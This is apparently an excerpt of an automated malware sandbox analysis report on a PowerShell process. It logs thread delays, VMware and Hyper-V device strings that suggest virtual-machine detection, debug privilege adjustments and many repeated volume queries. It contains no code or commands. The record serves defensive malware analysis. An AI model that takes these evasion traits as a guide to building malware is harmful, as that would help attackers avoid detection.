Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590750
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591032
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: powershell.exe, 00000008.00000002.2092391641.0000023318580000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllY
Source: powershell.exe, 00000007.00000002.2311503621.0000027CFCF98000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Y
Source: powershell.exe, 00000006.00000002.2101507687.00000215D3F44000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: powershell.exe, 00000008.00000002.2095872020.0000023318644000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: powershell.exe, 00000007.00000002.2311503621.0000027CFCF25000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 63}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}//
Source: powershell.exe, 00000007.00000002.2311503621.0000027CFCEC0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2024745256.000002463FEE2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
